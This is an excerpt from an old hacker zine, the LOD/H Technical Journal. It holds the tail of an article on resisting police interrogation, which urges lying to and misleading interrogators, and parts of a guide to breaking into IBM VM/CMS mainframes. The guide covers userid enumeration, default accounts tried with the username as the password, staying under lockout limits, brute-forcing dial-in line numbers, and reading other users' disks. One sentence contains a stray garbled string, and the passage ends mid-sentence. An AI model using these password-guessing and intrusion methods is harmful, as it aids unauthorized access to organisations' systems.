This technique involves a psychological ploy which takes advantage of the natural uncertainty and guilt which a source has as a result of being detained and questioned. Use of this technique necessitates the employment of two experienced interrogators who are convincing as actors. Basically, the two interrogators will display opposing personalities and attitudes towards you. For example the first interrogator is very formal and displays an unsympathetic attitude. This is to make you feel cut off from your friends. At the time when you act hopeless and alone, the second interrogator appears (having received his cue by a signal, and is hidden from you), scolds the first interrogator for his harsh behavior and orders him from the room. He then apologizes to soothe you, perhaps offering coffee and a cigarette. He explains that the actions of the first interrogator were largely the result of an inferior intellect and lack of human sensitivity. The inference is created that the other interrogator and you have in common a high degree of intelligence and an awareness of human sensitivity, above and beyond that of the first interrogator. You are normally inclined to have a feeling of gratitude towards the second interrogator, who continues to show a sympathetic attitude in an effort to increase the rapport and control for the questioning which will follow. Should your cooperativeness begin to fade, the second interrogator can hint that since he is of high rank, having many other duties, he cannot afford to waste time on an uncooperative source. He may broadly infer that the first interrogator might return to continue the questioning. When used against the proper source, this trick will normally gain complete cooperation for the interrogation.

"Repetition"

Repetition is used to induce cooperation from a hostile source. The interrogator listens carefully to your answer to a question, and then repeats both the question and answer several times. He does this with each succeeding question until you become so bored with the procedure that you answer the question fully and truthfully to satisfy the interrogator and to gain relief from the monotony of this method of questioning. The repetition technique will Y{Od ='fbgenerally not work when employed against introverted sources or those having
great self control.

"Pride and Ego"

This technique works effectively on many phreaks and hackers due to the fact that many are so damn egotistical. The strategy is to trick you into revealing desired information by flattering you. It is effective with sources who have displayed weaknesses or feelings of inferiority. The interrogator accuses you of weakness or implies that you are unable to do a certain thing. The proud or egotistical source will jump to the defensive. An example of an opening

question for this technique may be: "Why would you own a blue box when you have absolutely no idea how to use one?" or, "Why do you hack VMS systems if you can't do a damn thing once you're inside of one?" It provides you with the opportunity to show someone that you have "brains" and in doing so, you give the interrogator more information than you should have.

"Silent"

The Silent technique may be successful when used against either the nervous, or the confident-type source. When employing this technique, the interrogator says nothing to you, but looks you squarely in the eye, probably with a slight smile on his face. It is important for the interrogator not to look away from you, but force you to break eye contact first. You will become nervous, begin to shift around in your chair, and look away. If you ask questions the interrogator probably will not answer them until he is ready to break the silence. A source may blurt out questions such as, "What the hell do you want with me". When the interrogator is ready to break the silence, he may do so with some quite nonchalant questions such as, "You've been logging on to our system for a long time now, haven't you? Did you hack the passwords yourself?".

In some cases the interrogator will use several approach techniques concurrently, or in succession.

QUESTIONS:

There are various questions that the interrogator may ask you:

* Prepared questions: When the topic under inquiry is very technical or when legal aspects of the interrogation require preciseness, the interrogator will have a list of prepared questions to follow during the interrogation.

* Control questions: To maintain control and to check on the truthfulness of a source, the normal questions will be mixed with control questions-those with known answers. If you fail to answer these questions, or answer wrong, it will indicate that you are either not knowledgeable in the topic or that you are lying.

* Nonpertinent questions: Sometimes it is necessary for the interrogator to keep the true objective of the interrogation from you. By carefully blending pertinent questions with nonpertinent questions, the interrogator can conceal the true purpose of the inquiry.

* Direct and leading questions: The manner in which the questions are worded has a direct bearing on your response. A question may be posed in a number of ways:

  o "What system did you hack into on 11/11/86?"

  o "Did you break into General Dynamics' computer on 11/11/86?"

  o "You did break into GD's computer on 11/11/86?"

  o "You didn't break into GD'S computer on 11/11/86, did you?"

PSYCHOLOGY IN INTERROGATION:

The interrogator will watch for various psychological responses from you during

an interrogation. Some of these are:

* Rationalization: Creating plausible excuses or explanations for one's acts without being aware that these excuses or explanations are way off the [obvious] reality.

* Identification: To identify with and mimic a mental image of some one important to you.

* Compensation: Trying to make up for a psychological weakness by building up or exaggerating a psychological strength.

* Exhibitionism: Showing off, bragging, etc.

* Fear, Anger, Frustration, etc.

Of course when being interrogated, you should remain as emotionless as possible and never show anger, or get upset (NEVER inflict physical abuse upon the unsuspecting interrogator. This only creates tension between both the interrogator and yourself). Your every move, every response, every action is noted and used by the interrogator to get you to screw up and give him what he wants.

There can be two main objectives that you can obtain when being interrogated. The first is to find ways to force the interrogator to lose his initiative. You can do this in many ways. A few that come to mind are: Repeat everything the interrogator says. Mimic the interrogator. Laugh at the interrogator. Basically piss the interrogator off and make him so mad that he loses sight of his objective. This may however, get you in deeper trouble, but it may give you extra time while another interrogator is found.

Lie like hell to the interrogator and piss him off. Such as the pathological liar gimmick: "I broke into the NSA's computer, yeah, and then used their network to get into the presidents private computer yeah that's it, the password was uh...Bonzo, yeah, and then used it to take control of a satellite used for Star Wars, and made it land right on top of the Kremlin, yeah that's the ticket!"

You can also change the subject over and over again to totally unrelated things such as: its a nice day out today, hows the wife and kids, how about some food, who do you think is going to the superbowl, etc.

The other and probably better objective is simply to pretend to fall for any of the various techniques used against you and feed the interrogator more and more bullshit, of course being very sincere. This way he gets totally bogus information while thinking you are cooperating fully.

Well, I hope you never have to put this article to use in a legal manner, but you would be surprised how everyday you are interrogated without even realizing it by normal people who probably don't realize they are interrogating you!

As stated in the other articles, you can reach me for comment via the staff account.

MofI (LOH)

The LOD/H Technical Journal: File #8 of 10

Lex Luthor
and
The Legion Of Hackers
Present:

Hacking IBM's VM/CMS Operating System

Part A

INTRODUCTION:

IBM mainframes make up over 50% of the mainframes used in the United States. These systems are traditionally used in industries such as insurance, banking, universities and so on. For some reason, IBM systems as a whole have not been very popular with hackers. This may be due to the complexity of the Operating Systems run on IBM systems compared to others such as UNIX or VMS. Another reason may be that there is much variety from shop to shop. IBM systems are more commonly modified and customized to fit an individual corporations need and the lack of "universality" for commands, files, programs and other procedures makes it difficult to attempt to use without any type of specific documentation. The lack of detailed on-line help also hinders the hacker. I believe that the VM/CMS Operating System is by far the best and easily learned of the IBM systems. But compared to other Operating Systems like UNIX or VMS, VM/CMS is cumbersome and harder to learn.

ACRONYMS:

Before I even attempt to start this article, I will list the IBM-specific acronyms used in this article and some others that you may find on various IBM systems. I list them here so I will not have to do it throughout this article. If you don't know what one of them means later, just refer back to this list.

VM/SP:	Virtual Machine/System Product
CP:	Control Program
CMS:	Conversational Monitoring System
HPO:	High Performance Option
VSE:	Virtual Storage Extended
MVS:	Multiple Virutal Storage
TSO:	Time Sharing Option
JES:	Job Entry System
CICS:	Customer Information Control System
VSAM:	Virtual Storage Access Method
VTAM:	Virtual Telecommunications Access Method
IX:	Interactive Executive
IPL:	Initial Program Load
IVP:	Istallation Verification Program
RSCS:	Remote Spooling Communications Subsystem
DASD:	Direct Access Storage Device
EREP:	Environmental Recording Editing and Printing
SNA:	Systems Network Architecture
NCCF:	Network Communications Control Facility
REXX:	Restructured Extended Executer Language
VTOC:	Volume Table Of Contents
DOCS:	Display Operator Console System
JCL:	Job Control Language
ACF:	Advanced Communications Functions
SQL/DS:	Structured Query Language/Data System
DBA:	Data Base Administrator
GCS:	Group Control System
SCP:	System Control Program
FDP:	Field Development Program
CNA:	Communications Network Application
POF:	Programmable Operator Facility
PSW:	Program Status Word
SSCP:	Subsystem Services Control Point
IPCS:	Interactive Problem Control System

DCSS: Discontiguous Shared Segments
VMCF: Virtual Machine Communications Facility
FIFO: First In First Out
LIFO: Last In First Out
AP: Attached Processor
MP: Multi-Processor
R/O: Read/Only
R/W: Read/Write

LOGGING IN:

Typically, when you come across a CMS system, it will respond with:

```
VM/370 ONLINE
!

.
```

This message is somewhat of a contradiction. The majority of VM/CMS systems are rarely run on actual 370 systems but on other processors, such as the 43XX series and the 30XX series.

The period "." prompt is the surest way of verifying that you have indeed connected to a VM/CMS system, aside from the "VM/370 ONLINE" message which is usually printed. This prompt should not be confused with DEC's TOPS-10 system, which also has the prompt of a period. The older versions of VM/CMS responded as shown above. The newer versions will give you this menu:

Enter one of the following commands:

```
   LOGON userid                    (Example:  LOGON VMUSER1)
   DIAL userid                     (Example:  DIAL VMUSER2)
   MSG userid message              (Example:  MSG VMUSER3 GOOD MORNING)
   LOGOFF
```

This menu may vary from system to system, since they may opt to not allow a command to be used before logging in and will omit it from the menu or they may add some commands. When hacking a system this menu will appear before you can attempt to login, thus becoming very tedious and time consuming especially at 300 baud as you have to wait an eternity for each logon attempt.

Other responses after connecting are "Ready to Host", "Press break key to begin session" and "Invalid Switch Characters". The last response is commonly found on Telenet and other packet switched networks, in which you may have to specify "VM" for a VM/CMS system, or "TSO" for a MVS/TSO system. There may be other IBM systems to select from, or "VM" may not be a valid system. You may also have to specify "LOGON VM" or just "LOGON" before the port selector connects you to the host system.

LOGON can be abbreviated as just "L". A userid can be from 1-8 characters in length, but the first character MUST be a letter (In most systems you come across this will be true, but due to customization of systems, its possible this and even the 8 character password limit may be extended). A typical logon may look like:

```
.L COMOSOLO SYSGUESS NOIPL
```

"." is the system prompt, L is the LOGON command, COMOSOLO is the userid, SYSGUESS is the password, and NOIPL is the only 'login qualifier' allowed for the VM/CMS system. NOIPL specifies that the IPL name or device in the VM/SP directory should not be used for an automatic IPL. IPL simulates the LOAD

button and the device address switches on the real computer console. Basically it "boots" your part of the CMS system. This is another different concept. A user can boot (or crash) their part of the system not the whole system (in most cases). NOIPL would be used when a system dumps you into a program which allows you little or no mobility such as a restricted menu of options (IE: A system backup utility) and logs you off without gaining access to CMS. NOIPL will prevent this program from running if it is listed in your automatic IPL entry within the CP directory. This should allow you access to the system. Otherwise the program was specified to run within your PROFILE EXEC which lists things to be done upon logon. NOIPL is somewhat similar but not identical to the login qualifier "/NOCOMMAND" for DEC's VAX/VMS systems.

If the Password Suppression Facility is installed on the system, you will receive an invalid format message whenever the userid and password are entered on the same line. This is obviously a security measure to prevent users from entering their password in full view of anyone who may be watching as the password is not "masked". Thus, you will have to enter your password on a separate line when the system prompts you for it. The advantage of entering the userid and password on one line (especially at 300 baud) is that you can try more userids and passwords in a shorter period of time while still availing yourself to the systems generousness of informing you when an invalid userid has been entered.

Error messages:

There are various error messages one may encounter while logging into a VM/CMS system. The ones you should be most concerned about are:

"Userid not in CP directory": When an invalid userid has been entered, you will receive this message. This indication gives the hacker a distinct advantage for gaining entry to the system. Probably the largest security hole for any system is to tell you when a valid username has been entered. After all, obtaining a valid userid is half the battle. The other half is obtaining a valid password. Even the weakest Operating Systems no longer give an indication of when a valid ID has been entered. Why IBM has not changed this is a mystery to me.

When a valid userid is entered you will be asked to enter a password if you did not already do so. If the password is correct, the system will attempt to log you on, if not, you will receive one of two messages:

"Logon unsuccessful--incorrect password": As has just been stated, a valid userid has been entered but the password was incorrect. Passwords can be from 1-8 characters long, but in many cases the minimum length is changed to be at least three characters. There is no difference between upper and lower case letters for either the userid or password as they are converted to upper case by the system which is another security flaw as it reduces password possiblities.

"Password incorrect - reinitiate logon procedure": This is the message received on the older versions of VM/CMS, which means the same thing as the above msg.

"Maximum password attempts exceeded, try again later": The threshold has been reached for userid and/or password attempts. You will receive this message every time you attempt to logon after exceeding the threshold until a variable period of time (Probably from 1 to 5 minutes) has elapsed. This locks out ALL users who attempt to login to the system from that particuler line. I am not sure whether this is recorded anywhere or whether it is sent to the System Console so try to determine how many attempts normally trigger this and keep just short of it.

"Already logged on": This message will appear when you attempt to logon with a valid userid and password and that userid is already online. Unlike other systems, VM/CMS will not allow the same userid to be logged on more than once.

"Userid missing or invalid": As it implies, nothing was typed after entering the LOGON command, or the format for the userid was not correct, ie: using a number as the first character or a control character was used somewhere in the userid field.

"Error in CP directory": The CP directory is the main user directory for the system. Entries in the directory contain: the userid and password, VM I/O configuration, disk usage values, associated virtual and real addresses, privilege classes, virtual processor size, and other options for each user. Without the proper directory entry, a user cannot logon to the system. Therefore receiving this error message.

"Command not valid before logon": This occurs when you enter anything other than the commands listed in the menu, ie: entering BONEHEAD will return this message even though "BONEHEAD" isn't a valid command. Why this is I don't know. So don't get all excited that you found a valid command but couldn't execute it since you weren't logged on.

Accounts:

By constantly compiling userids from various systems you should be able to collect a nice list of accounts which may enable you to gain access to a system. The following are a few which I have found:

OPERATOR
CMSBATCH
AUTOLOG1
OPERATNS
VMTEST
VMUTIL
MAINT
SMART
VTAM
EREP
RSCS
CMS
SNA

As usual, use the username as the password. Things still haven't changed from the Hacking VAX/VMS series...people are just as stupid as they were a few years ago.

There are many default accounts which have the passwords listed in some IBM system manuals. These are hard to obtain and are very powerful since some passwords are rarely changed. If you can get access to the defaults, it will greatly expand your collection of systems, I guarantee it.

Dial:

DIAL is used to logically connect lines, whether they be switched (regular dial-up phone lines), leased (dedicated), or logically attached (directly connected), to a previously logged on multiple-access system. The DIAL command is the only substitute for the logon command. On systems running more than one Operating System, DIAL is used to connect the user to one of those systems. It is rather common to find two or more Operating Systems running parallel or "under" one another. This is quite different from most other systems, which run alone on the machine. One machine, one Operating System, but not IBM. The ability to have multiple systems running simultaneously and still providing the user with the illusion of it being a single system, (ie: the whole idea behind multi-tasking machines is to provide each user with the full resources of the machine so quickly that it appears that he or she is the only one using the system) sets IBM apart from most other computer manufacturers. Some of the

systems which run on IBM's are: VM/CMS, MVS/TSO, DOS/VSE, OS/VS1. Some others are: MUSIC, JES and IX/370 which is IBM's version of UNIX which runs under VM/SP.

It is always good to know what other systems are running, and if you are unable to gain access to the 'primary' system, you may be able to gain access to one of the 'secondary' system(s) by use of DIAL. Some systems will require you to specify a line number for certain systems. Others will find a line for you if one is not specified, assuming there are some allocated to that resource. Userid's are also dialable. In some cases you have to dial through a particular userid in order to gain access to certain systems or perform certain commands. A typical logon to a DIALed system may look like:

```
.DIAL MUSICB

DIALED TO MUSICB   040

*Miscellaneous Computer Services MUSIC/SP 1.1  SIGN ON.

.RESET

DROP FROM MUSICB   040

VM/370
!

.
```

When it comes to finding a valid line number for systems that can be reached via DIAL, you could be in for some trouble. If the system requires a line number to be entered (unlike the above example, where line 040 was found automatically) you will not only have to come up with a defined line number, but one that is associated with the system you are attempting to access. Usually you can find this information after logging on to the VM/CMS system in various files, but if you cannot get in, you will have to sequentially enter line numbers. Some that I have seen are 001, 01B, 41A, 040.

The VM/CMS system does not appear to limit the number of DIAL attempts a user can make, unlike LOGON attempts. Programming your micro to search for a valid line number to a system should work with no problem.

To drop the dialed connection just type RESET.

Error Messages:

"Line(s) not available on 'sysname'.": Either there are no lines allocated to the system, or you must enter a correct line number.

"Invalid device type - 'sysname' 'line#': You have entered a valid system or userid and line number, but the device you are on (the terminal) is invalid. In this case, a GRAF (Graphics) device, system console or 3270 terminal may be the only valid device.

"'userid' not logged on": The DIAL command cannot be executed unless the user (or system) specified is logged on.

"'line#' does not exist": A valid userid/system has been entered but the line number for that userid/system is not valid.

Message:

MSG is used to send messages to users who are currently logged on. This command can be issued before (if specified by the logon menu) and after logging in.

MSG OPERATOR Help! I lost my password! My userid is COMOSOLO

This will send a message to the primary system operator of the system. If there is only one CLASS A user online, the message will be sent to his terminal.

MSG *

This will send a message to yourself. This is useful for identifying the current userid of an abandoned terminal.

Logoff:

The LOGOFF command can be abbreviated as LOG. After logging off you will receive the following:

```
CONNECT= 00:33:54 VIRTCPU= 000:00.28 TOTCPU= 000:01.76
LOGOFF AT 17:05:44 EST THURSDAY 04/16/87
```

CONNECT is the actual clock time you spent while on the system.
VIRTCPU is the virtual CPU time that was used.
TOTCPU is the total CPU time both virtual and overhead that was used.

The HOLD command will hold the connection allowing you to re-logon again without having to re-dial the system.

.LOG HOLD

SECURITY SOFTWARE:

There are various weaknesses within VM/CMS both internally and externally which can be exploited. For this reason, various software security packages have been written. There would not be a need for these in most cases if the people in charge of system security knew what they were doing. Anyhow, these packages do provide added security when properly implemented. The most commonly found are VMSECURE and ACF2. TOP SECRET and RACF are others which are less common. These packages are easily identified.

After entering a valid userid VMSECURE responds with:

```
VMXACI104R Enter logon password:
 *************************
 HHHHHHHHHHHHHHHHHHHHHHHHHH
 SSSSSSSSSSSSSSSSSSSSSSSSSS
.
```

One way to positively identify the use of VMSECURE is by using it as a userid. If it is running it will be a valid userid, and who knows, you may even hack the password.

After entering a bad password ACF2 (Access Control Faclity 2) responds with:

```
ACFV1012  PASSWORD NOT MATCHED
ACFV0044  ACF2, ENTER PASSWORD

 *************************
 HHHHHHHHHHHHHHHHHHHHHHHHHH
 SSSSSSSSSSSSSSSSSSSSSSSSSS
```

.

These packages provide information which SHOULD be inherent within the Operating System itself. Perhaps newer versions of CMS will contain them. Some of these features are:

* Last logon date/time
* Password expiration
* Rules for password selection
* Invalidating userids for invalid password attempts
* Invalidating terminals for invalid password attempts
* Shows users how many invalid password attempts have occured on their userid
* Increased file security

LOGGED ON:

After logging on you may receive something similar to the following:

```
DASD 190 LINKED R/O; R/W BY MAINT; R/O BY 030 USERS
LOGMSG - 10:40:25 EST FRIDAY 05/22/87
*********************************************************************
*            WELCOME TO MISCELLANEOUS COMPUTER SERVICES             *
*                              -VM1-                                *
* SYSTEM WILL BE DOWN FROM 10:00 TO 10:30 EST SUNDAY MAY 24, 1987   *
*********************************************************************
Logon at 13:22:59 EST FRIDAY 05/22/87
VM/SP REL 4 04/20/86 11:33

R; T=0.01/0.01 13:23:10
.
```

Line #1: This line shows that the disk at virtual address 190 is linked with R/O access by you, R/W by userid MAINT and R/O by another 30 users.

Line #2: This shows that the logon message was created at 10:40 on Friday.

Line #3-7: This is the message that is shown to all users of the system upon logging on. Some systems may not have one.

Line #8: The actual time of logon is printed.

Line #9: The current RELEASE of VM/SP and the time and date it was installed is shown.

Line #10: This is the ready message and it is printed after every command is performed where:

R= Ready This indicates that the system is ready for input.
T= Time The first series of numbers tells how long it took the system to perform the last task. The second set of numbers gives the time of day.

If you do not receive the ready message you are in CP and must IPL CMS in order to issue CMS commands.

Line #11: The system prompt, you can now enter commands.

PRIVILEGE CLASSES:

As with most other Operating Systems a user must have sufficient privileges in order to execute certain commands. Every CP command belongs to one of eight IBM defined privilege classes. The CP directory defines which users can use which classes of commands. Each user has one or more privilege classes, as does each CP command. If you try to issue a command that does not match the assigned privilege class of the userid you are using, the system will not process the command. As far as I know, no records of attempts to use privileged commands are kept.

Class	User and Function
A	Primary System Operator: The class A user has the ability to control the system. Any user who uses the VM/SP system console posseses this privilege class. This user can broadcast messages, control system accounting, and issue commands which affect the overall performance of the system.
B	System Resource Operator: The class B user has the ability to control all the "real" resources of the system, except those controlled by the spooling and primary system operators.
C	System Programmer: Class C users can modify real storage as opposed to virtual storage.
D	Spooling Operator: The class D user controls spooling data files.
E	System Analyst: Monitors and interprets system performance data.
F	Service Representative: This class is usually given to accounts that IBM Field Service personnel use for updates and also for diagnosing system problems.
G	General User: Class G users are the most prominent on the system. This privilege allows the user to control functions associated with their own virtual machine.
Any	The Any classification is given to certain CP commands which are available to any user. The commands are usually limited to Login and Logoff.
H	Class H is reserved for IBM use.

Due to the individual needs of a site, privilege classes can be tailored to suit the facility. A total of up to 32 classes can be made. They would be shown in the CP directory as A-Z and 1-6.

Typical Privilege Classes for a few common userids:

Userid:	P.C.
OPERATOR	A
EREP	F
OPERATNS	BCEG
MAINT	ABCDEFG

COMMANDS:

Commands are made up of command names, operands, and options.

Command Name: A command name is an alphanumeric symbol of up to 8 characters.

Operands: These specify the information on which the system operates when it performs a command function.

Options: These keywords are used to control the execution of a command. When used, they must be preceded by a left parentheses, but a closing one is not necessary.

Different commands are used within different environments. To see which environment you are in, simply hit return at the period prompt. You will receive one of the following: CMS, CP, XEDIT.

There are many commands that are useful to both regular system users and hackers. HELP is available on some systems, particularly on university systems. It is extensive but not as clear as yes, UNIX or VMS which is typical of IBM. Nevertheless, HELP is useful and you should get hardcopies of as many commands as you can. AID is another form of HELP which may be useful to you in learning more about the system.

One nice feature of CMS HELP is that when you receive an error message, you can:

.HELP DMS000000 or DMK000000

Where DMS000000 or DMK000000 is the error message you have received. The system will then explain what it is, why it happened and how you can correct it.

I am going to hold off on explaining any and all commands related to minidisks until the next section. The others which I have found to be useful are as follows.

You can issue any CP command while in CMS by precluding the command with CP.

QUERY

Query allows you to obtain various information about the system. A full list can be found from using HELP.

One of the most important QUERY commands to the hacker is:

.Q NAMES

```
OPERATOR - 01F, SMART    - DSC, CMS0349  - B27, LOGO0180 - B31
VSM - VMVS1
SCOTT   -TP11WFM2, CMS1211 -TP11WF64, OPERATNS-TP11WFY1
R; T-0.01/0.01 11:34:28
```

There can be many users online, usually this list will contain from 30 to 100 users. The last user online was OPERATNS, since it was last in the list. The SMART userid is DSC, or in a disconnected state. Usually a terminal will remain disconnected for 15 to 30 minutes and then is totally logged off the system. If you logon to an already disconnected terminal, the system will reply with "RECONNECTED AT time". The other 2 userids on the same line as SMART are probably connected terminals which are in a pre-logged in or pending logon tate. VSM - VMVS1 is another system running parallel to (or under) CMS.

The QUERY NAMES command allows you to gain a little more security for yourself on the system. It allows you to gain more valid usernames to attempt passwords for in the unfortunate event that your current userid dies. Another use is that you can start to compile your "common accounts" list of userids which are found on VM/CMS systems. This list should get larger and larger as you gain access to

more and more systems and will allow you to gain access to more systems as it gets larger.

If you can't count how many users are online from the Q NAMES list:

.Q USERS

0007 USERS, 0000 DIALED, 0000 NET

If you didn't catch the logon message you can view it again by:

.Q LOGMSG

To see what release of CMS the system is:

.Q CMSLEVEL

VM/SP REL. 4, SERVICE LEVEL 417

If you are wondering which IBM mainframe CMS is running on, you can issue:

.Q CPUID
FF01472343810000

This can be interpreted as follows:

CPUID= aabbbbbbccccdddd

aa= "FF" when running VM/SP
bbbbbb= The processor ID number
cccc= The model number of the system. In the above case, CMS is running on
an IBM 4381 system.
dddd= "0000" This is not used for CP.

SENDFILE allows you to send files within any minidisk that is currently accessed by you to another user. Anytime you send a file an entry is made in the file USERID NETLOG (where USERID is the user you are sending the file to). This command is also used for sending NOTE files which can be created with an editor and send to whomever as E-MAIL.

If you are tired of seeing a text listing, or have attempted to read a compiled program and wish to exit or break out of it, simply hit a hard-break, and then type HX. HX is for Halt eXecution. It will halt whatever you are doing and put you back into the CMS environment. It may take a few lines of text after entering it for the system to stop the process.

--- End of Part A ---

--- Attach Part B here ---

The LOD/H Technical Journal: File #9 of 10

Hacking IBM's VM/CMS Operating System
PART B

Command Interpretation Chart: The following chart will compare the commands

used on VAX/VMS, UNIX, and VM/CMS to allow those who are familiar with the other Operating Systems to quickly reference its CMS counterpart.

VAX/VMS	UNIX	VM/CMS	SHORT EXPLANATION
/NOCOMMAND	*****NONE****	NOIPL	aborts login pgm
SHOW USERS	WHO	QUERY NAMES	online userlisting
DIRECTORY	LS	LISTFILE or FILELIST	show current dir.
TYPE filename	CAT filename	TYPE fname ftype fm	list or view files
EDIT	ED or VI or EX	XEDIT	system editor
DELETE filename	REMOVE filenme	ERASE fname ftype fm	deletes files
PHONE username	WRITE user	TELL userid	user communication
Control-Y	Ctrl-Backslash	Hard-break then HX	aborts process

Corresponding files:

SYSUAF.DAT	/ETC/PASSWD	USER DIRECT	Userlist & user information
MAIL.TXT	USR/MAIL/user	USERID NOTE	Electronic mail files
LOGIN.COM	.PROFILE	PROFILE EXEC	User login command files

Local Commands:

Local commands are commands written for an individual system. They are customized commands that suit a facilities' needs. These commands are execs which are either not available from IBM or are cheaper to write on their own. I will mention a few which may be found on other systems, as these are rather common.

WHOIS

This command gives a little information about the users that you specify which are on the system.

.WHOIS MAINT BACKUP MAILER BUBBA RELAY VMUTIL

Userid	Name
MAINT	System Maintenance Account
BACKUP	VM System Backup and Recovery Machine
MAILER	BITNET Inter-Node Mail Processing Machine
BUBBA	Bubba B. Bonehead - Programmer/Analyst Extroadinaire
RELAY	BITNET Internet Chat Facility
VMUTIL	VM Utilization Statistics

SYSPASS
READPW
WRITEPW

In most cases, the only way to change a users' password is by having the system

operator or someone with high privileges do it. This is one reason why many passwords remain the same for long periods of time. These programs allow users to change their logon password, read access minidisk password and write access minidisk password respectively. Perhaps you will find these or similar programs on some systems.

Privileged Commands:

As far as I know, there is no command to determine which privilege class the userid you are abusing is. The only way is to check in the CP Directory for it. The following are some privileged commands and what privilege class is needed to run them. Again, as far as I know, the system keeps no records of failed attempts at running privileged commands. Use of these commands are most likely recorded, has a msg sent to the system console or both, especially when using FORCE.

FORCE userid (Class A)

This command will forcibly log off the userid you specify. I really can see no reason other than to be a total asshole for abusing this command.

DISABLE raddr (or) all (Class A or B)

This is used to prevent specific terminals or all terminals from logging onto the system. Again, there is no real reason to use this or most other privileged commands for that matter unless you want to be kicked off of the machine. If you do DISABLE a terminal, simply use ENABLE to repair the damage.

DETACH realaddr (FROM) whatever (Class B)

This is used to detach real devices from the system. These can be terminals, printers, disk packs, tape drives, etc. You must know the real address of the device, and 'whatever' can be the system, or a userid.

WARNING userid (or) operator or all (Class A or B)

Warning will send a priority message to a user, operator or all users on the system. It will interrupt anything they happen to be doing. Obviously sending a msg to all users stating they are BONEHEADS is not recommended.

MINIDISKS:

A minidisk is a subdivision of consecutive cylinders on a real DASD volume. The SD device, is the actual disk the information is stored on. This can be compared to a hard drive for an IBM PC. Before the drive can be used, it must be formatted. Once formatted, it is divided up into directories which are minidisks. Each minidisk is a number of cylinders which is the standard memory storage unit. There can be many minidisks on a DASD. Associated with each CMS disk, is a file directory, which contains an entry for every CMS file on the disk. A minidisk can be defined for R/W or R/O access. It can also be used for temporary or permanant storage of files. Each minidisk has a virtual address. Virtual addresses can be from 001-5FF (hexidecimal) in basic control mode, and 001-FFF in ECMODE (Extended Control Mode).

CMS minidisks can be accessed according to a letter of the alphabet (A-Z). In order to better explain this, lets assume we are logged onto a VM/CMS system under the userid of JOE and we want to see what minidisks we have access to. We use the QUERY SEARCH command to determine which disks we are ATTACHed to.

```
.Q SEARCH

JOE001  191  A    R/W
JOE002  192  D    R/O
CMS190  190  S    R/O
CMS19E  19E  Y/S  R/O
```

As can be seen each minidisk has a volume name, virtual address, filemode, and access mode. The A disk is the default. Most accounts you gain access with will have an A disk with a virtual address of 191. The S disk is the System disk. This contains the files and programs for running the system. The same goes for the Y disk. The D disk is another disk used by JOE.

You can view what each of these directories contains by issueing the LISTFILE command.

```
.LISTF

BUBBA    NOTE     A1
MISC     WHATEVER A1
PROFILE  EXEC     A0
```

This is a list of files on the A disk. The first column is the Filename the second is the Filetype and the third is the filemode. Filenames can be anything you specify. Filetypes can also be anything you specify, but commonly follow a pattern which tells what type of file it is. Filemodes are comprised of a filemode letter (A-Z) and a filemode number (0-6).

Filenames can contain the following characters: A-Z 0-9 $ # + - : # U

Here is an explanation of common filetypes:

```
Filetype ! Description
---------+-------------
DATA     ! Data for programs or simply TYPE-able text.
EXEC     ! User written programs or IBM procedures written in REXX.
HELP     ! System HELP files.
HELPCMS  ! System HELP files.
LANGUAGE ! One of the langauges that the system supports, such as ASSEMBLE,
         ! COBOL, FORTRAN, JCL, REXX, PL1, SNOBALL, BINARY, ETC.
LISTING  ! Program source code listings
LOADLIB  ! Loading Library
MACLIB   ! Macro Library
MODULE   ! System commands
NETLOG   ! Contains a list of all files which have been SENT to other users.
NOTE     ! Similar to E-MAIL on other systems, a note sent from another user.
SOURCE   ! SOURCE code for various programs.
TEXT     ! Text file. Probably used for programs and when TYPEd yields little.
TXTLIB   ! Text Library
WHATEVER ! A nonstandard filetype which will probably be somewhat descriptive
         ! of its contents.
XEDIT    ! A file which was created using the XEDIT utility.
```

Both filenames and filetypes must not exceed 8 characters in length.

Filemodes:

Filemode numbers are classified as follows:

Filemode 0 There is little file security on VM/CMS. This may be due to the

fact that directory security is very good. A file with a mode of zero makes that file invisible to other users unless they have Read/Write access to that disk. When you LINK to someones' disk in Read/Only mode and get a directory listing, files with a mode of 0 will not be listed.

Filemode 1 This is the default filemode. When reading or writing files, you do not have to specify a filemode letter of 1 (unless you want to) since it will default to it.

Filemode 2 This is basically the same as a filemode of 1. It is mainly assigned to files which are shared by users who link to a common disk, like the system disk.

Filemode 3 Be careful when you see these! These are erased after they have been read. If a file with a mode of 3 is printed or read it will be erased. Blindly reading files without paying attention to the filemode numbers can shorten your stay on the system. The main reason for this filemode is for the files or programs which are unimportant or have one time use can be automatically deleted to keep disk space and maintenance to a minimum.

Filemode 4 This is used for files that are to simulate OS data sets. They are created by OS macros in programs running in CMS. I have not found any files with this filemode, so for the time being, you should not be concerned about it.

Filemode 5 This is basically the same as filemode 1. It is different in that its used for groups of files or programs. It makes it easier for deleting files a user wants to keep for a certain period of time. You could just enter:

ERASE * * A5

Now all files on the A disk with a filemode of 5 will be deleted.

Filemode 6 Files with this mode are re-written back to disk in the same place which is called "update-in-place". I have no idea why this would be specified, and have not found any files with a filemode of 6.

Filemode 7-9 These are reserved for IBM use.

Look back to our Q Search listing. If you want to see what is on the D disk:

.LISTF * * D

NOTMUCH ONHERE D1

In this case, the D disk only contains 1 file called NOTMUCH with a filetype of ONHERE. But do not forget the fact that you only have Read/Only access to the D minidisk! So there may or maynot be merely 1 file on the D disk. Remember all filemodes of 0 (which in this case would be D0) are invisible to anyone who does not posses Read/Write access.

You can access any disk that you are ATTACHed to by replacing the D in the above example with the filemode letter (A-Z) you want to access. As was shown previously, the QUERY SEARCH command will give you a list of minidisks that your userid is attached to upon logging in. These command statements are usually found in your PROFILE EXEC.

So you can access a few minidisks. There may be hundreds on the system. Unlike UNIX and VMS, and most other Operating Systems for that matter you cannot issue a command and some wildcard characters to view the contents of every users' directory. In order to access another users' directory (minidisk) you must have the following:

1) The USERID of the person whose disk you wish to access.

2) The virtual address(es) (CUU) that the USERID owns.

3) The Read, Write, or Multi disk access password, depending on which access mode you wish to use.

This would be accomplished by the following:

```
.LINK TO BUBBA 191 AS 555 RR

Enter READ link password:
 *************************
 HHHHHHHHHHHHHHHHHHHHHHHHH
 SSSSSSSSSSSSSSSSSSSSSSSSS
.RBUBBA

R; T=0.01/0.01 21:58:48
.ACCESS 555 B

R; T=0.01/0.01 21:59:03
.Q SEARCH

JOE001  191  A    R/W
BUB001  555  B    R/O
JOE002  192  D    R/O
CMS190  190  S    R/O
CMS19E  19E  Y/S  R/O

.LISTF * * B

MISCFILE DATA     B1
PROFILE  EXEC     B1

.REL 555

R; T=0.01/0.01 22:02:01
```

Now an explanation for the events which have just occured.

The LINK command is used to access other users' minidisks. The format is:

